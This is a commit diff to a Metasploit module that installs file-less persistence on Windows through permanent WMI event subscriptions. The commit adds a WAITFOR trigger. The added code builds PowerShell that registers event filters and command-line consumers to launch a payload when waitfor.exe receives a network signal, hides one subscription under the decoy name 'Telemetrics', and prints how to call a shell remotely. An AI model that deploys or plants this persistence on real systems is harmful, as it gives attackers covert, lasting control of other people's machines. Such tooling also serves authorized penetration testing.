Skip to content

Commit e7d6d53

Browse files
committed
added WAITFOR persistence method
1 parent 24404ae commit e7d6d53

File tree

1 file changed

+49
-14
lines changed

1 file changed

+49
-14
lines changed

modules/exploits/windows/local/wmi_persistence.rb

Lines changed: 49 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -19,16 +19,18 @@ def initialize(info = {})
1919
'Name' => 'WMI Event Subscription Persistence',
2020
'Description' => %q{
2121
This module will create a permanent WMI event subscription to achieve file-less persistence using one
22-
of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
22+
of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
2323
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
2424
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
2525
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
2626
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
2727
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
28-
method will create an event filter that triggers the payload when the specified process is started. Additionally a custom
29-
command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires
30-
administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads
31-
due to powershell script length limitations.
28+
method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
29+
creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
30+
before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
31+
(note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
32+
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
33+
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
3234
},
3335
'Author' => ['Nick Tyrer <@NickTyrer>'],
3436
'License' => MSF_LICENSE,
@@ -50,13 +52,15 @@ def initialize(info = {})
5052

5153
register_options([
5254
OptEnum.new('PERSISTENCE_METHOD',
53-
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS']]),
55+
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
5456
OptInt.new('EVENT_ID_TRIGGER',
5557
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
5658
OptString.new('USERNAME_TRIGGER',
5759
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
5860
OptString.new('PROCESS_TRIGGER',
5961
[true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
62+
OptString.new('WAITFOR_TRIGGER',
63+
[true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
6064
OptInt.new('CALLBACK_INTERVAL',
6165
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
6266
OptString.new('CLASSNAME',
@@ -104,6 +108,11 @@ def exploit
104108
psh_exec(subscription_process)
105109
print_good "Persistence installed!"
106110
@cleanup
111+
when 'WAITFOR'
112+
psh_exec(subscription_waitfor)
113+
cmd_exec("waitfor.exe #{datastore['WAITFOR_TRIGGER']}, time_out = 0")
114+
print_good "Persistence installed! Call a shell using \"waitfor.exe /S <target_ip> /SI "+datastore['WAITFOR_TRIGGER']+"\""
115+
@cleanup
107116
end
108117
end
109118

@@ -169,6 +178,21 @@ def subscription_process
169178
end
170179

171180

181+
def subscription_waitfor
182+
command = build_payload
183+
word = datastore['WAITFOR_TRIGGER']
184+
class_name = datastore['CLASSNAME']
185+
<<-HEREDOC
186+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
187+
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
188+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
189+
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
190+
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
191+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
192+
HEREDOC
193+
end
194+
195+
172196
def log_file(log_path = nil) # Thanks Meatballs for this
173197
host = session.session_host
174198
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
@@ -186,13 +210,24 @@ def log_file(log_path = nil) # Thanks Meatballs for this
186210

187211

188212
def cleanup
189-
name_class = datastore['CLASSNAME']
190-
clean_rc = log_file()
191-
clean_up_rc = ""
192-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
193-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
194-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
195-
file_local_write(clean_rc, clean_up_rc)
196-
print_status("Clean up Meterpreter RC file: #{clean_rc}")
213+
if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
214+
name_class = datastore['CLASSNAME']
215+
clean_rc = log_file()
216+
clean_up_rc = ""
217+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
218+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
219+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\""
220+
file_local_write(clean_rc, clean_up_rc)
221+
print_status("Clean up Meterpreter RC file: #{clean_rc}")
222+
else
223+
name_class = datastore['CLASSNAME']
224+
clean_rc = log_file()
225+
clean_up_rc = ""
226+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
227+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
228+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
229+
file_local_write(clean_rc, clean_up_rc)
230+
print_status("Clean up Meterpreter RC file: #{clean_rc}")
231+
end
197232
end
198233
end

0 commit comments

Comments
 (0)